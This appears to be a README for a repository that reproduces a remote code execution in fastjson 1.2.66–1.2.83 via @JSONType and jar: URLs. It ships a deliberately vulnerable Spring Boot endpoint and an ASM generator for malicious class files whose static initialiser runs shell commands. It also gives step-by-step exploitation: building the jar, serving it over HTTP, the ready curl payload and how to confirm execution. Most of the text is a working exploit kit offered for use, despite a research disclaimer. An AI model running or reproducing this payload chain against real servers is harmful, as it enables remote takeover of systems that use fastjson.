
Riproduce la RCE di @JSONType di fastjson 1.2.83 con un target Spring Boot vulnerabile e un generatore di payload basato su ASM che utilizza catene jar tramite protocollo HTTP o file.
@JSONType
Progetto di riproduzione del caricamento remoto di classi / esecuzione di comandi in fastjson 1.2.66 ~ 1.2.83 tramite annotazione @JSONType + nome di classe illegale + protocollo jar:.
⚠️ Dichiarazione di non responsabilità
Questo progetto è destinato esclusivamente a ricerca sulla sicurezza, riproduzione di vulnerabilità e test autorizzati. È severamente vietato l'uso su sistemi non autorizzati, per attacchi illegali o scopi dannosi. L'utilizzatore si assume la piena responsabilità delle proprie azioni; l'autore non si assume alcuna responsabilità legale per eventuali abusi.
Articolo di analisi della vulnerabilità: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Questo progetto realizza un ambiente completo di riproduzione della vulnerabilità fastjson 1.2.83 incentrato su CVE-2026-16723:
demo/ — applicazione Web Spring Boot 2.7.18 vulnerabile (dipende da fastjson 1.2.83), espone l'endpoint POST /parse che chiama direttamente JSON.parse(json);exp/ — generatore di jar probe dannosi basato su ASM (due forme: protocollo HTTP / protocollo FILE);环境/ — FatJar precompilati per tre middleware (Tomcat / Jetty / Undertow), pronti all'uso.Idea chiave dello sfruttamento: costruendo uno speciale JSON con @type impostato a jar URL, si costringe fastjson a seguire il ramo fidato dell'annotazione @JSONType → getResourceAsStream scarica il jar remoto/locale → defineClass carica la classe dannosa → l'inizializzazione della classe attiva <clinit> → esecuzione arbitraria di comandi (RCE).
| Progetto | Contenuto |
|---|---|
| CVE | CVE-2026-16723 |
| Componente | Alibaba fastjson |
| Versioni interessate | 1.2.66 ~ 1.2.83 (anche l'ultima versione 1.x è vulnerabile) |
| Tipo di vulnerabilità | Esecuzione remota di codice tramite deserializzazione (RCE) |
| Punto di ingresso | JSON.parse(json) / JSON.parseObject(json) (senza specificare un tipo concreto) |
| Prerequisiti | Target Spring Boot FatJar, JDK 8, safeMode disattivato |
JSON.parse(json) o JSON.parseObject(json) per analizzare direttamente input non attendibili, con versione fastjson in 1.2.66 ~ 1.2.83 e safeMode non attivato;java -jar, LaunchedURLClassLoader, solo Spring Boot ≤ 2.7 mantiene la capacità di fallback dell'Handler del protocollo jar:);defineClass genera ClassFormatError; al massimo si riesce a fare SSRF);Il checkAutoType di fastjson, quando incontra una classe annotata con @JSONType, entra nel ramo fidato, saltando la maggior parte dei controlli in blacklist e consentendo il caricamento. Questo progetto sfrutta proprio questo: usando ASM per scrivere direttamente il bytecode, inserisce un «nome di classe interna illegale» nel campo this_class del constant pool della classe, allineando perfettamente i tre nomi:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Struttura della classe dannosa:
@JSONType — la chiave che apre il ramo fidato di checkAutoType di fastjson;<init>()V — garantisce che fastjson possa istanziare normalmente la classe;<clinit> — esegue Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) al caricamento/inizializzazione della classe, realizzando l'esecuzione di comandi.Un nome di classe illegale non può essere scritto con
javac; solo ASM può scrivere direttamente l'URL nel constant pool — per questo il generatore di questo progetto dipende daasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
Il lab deve essere eseguito con JDK 8 (coerente con le condizioni di sfruttamento).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Dopo l'avvio, l'endpoint è: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — porta HTTP di hosting del jar dannosoopen -a Calculator — comando da eseguire sulla macchina target (su macOS apre la calcolatrice; su Linux si può usare id > /tmp/pwned 2>&1 e verificare se il file esiste)Il file generato di default è x (senza estensione) e contiene y.class; il payload è:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Assicurati che
python3 -m http.servervenga avviato nella directory in cui è stato generato il filex.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
Il risultato dell'esecuzione del comando non viene restituito nella risposta HTTP; è necessario verificarlo sulla macchina target:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)